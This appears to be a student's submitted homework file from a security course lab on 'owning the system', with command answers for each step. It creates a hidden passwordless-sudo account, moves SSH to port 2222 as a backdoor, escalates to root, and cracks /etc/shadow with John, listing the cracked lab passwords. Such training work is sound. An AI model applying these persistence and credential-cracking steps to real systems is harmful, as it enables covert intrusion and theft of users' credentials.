Week 6 Homework Submission File: Advanced Bash - Owning the System

Please edit this file by adding the solution commands on the line below the prompt. Save and submit the completed file for your homework submission.

Step 1: Shadow People

Create a secret user named sysd. Make sure this user doesn't have a home folder created:

sudo adduser --system --no-create-home sysd

Give your secret user a password:

sudo passwd sysd

Give your secret user a system UID < 1000:

sudo usermod -u 747 sysd

Give your secret user the same GID:

sudo groupadd -g 747 sysd

Give your secret user full sudo access without the need for a password:

sudo visudo

#User privilege specification

sysd ALL=(ALL:ALL) NOPASSWD:ALL

Test that sudo access works without your password:

sudo -l

Step 2: Smooth Sailing Edit the sshd_config file: nano /etc/ssh/sshd_config # default value #Port 22 Port 2222 (CTRL X and Y) sudo ufw allow from any to any port 2222 proto tcp Step 3: Testing Your Configuration Update **Restart the SSH service:** systemctl restart ssh Exit the root account: exit SSH to the target machine using your sysd account and port 2222: ssh sysd@192.168.6.105 -p 2222 Use sudo to switch to the root user: sudo su

Step 4: Crack All the Passwords

SSH back to the system using your sysd account and port 2222:

ssh sysd@192.168.6.105 -p 2222

Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file:

sudo su

john /etc/shadow

john -show /etc/shadow (if you want to verify your results)

Cracked passwords for users as follows:

vagrant (vagrant) instructor (instructor) password (jane) 123 (sysd) 123456 (sally) football (billy) welcome (adam) welcome (max) lakers (john) lakers (jack)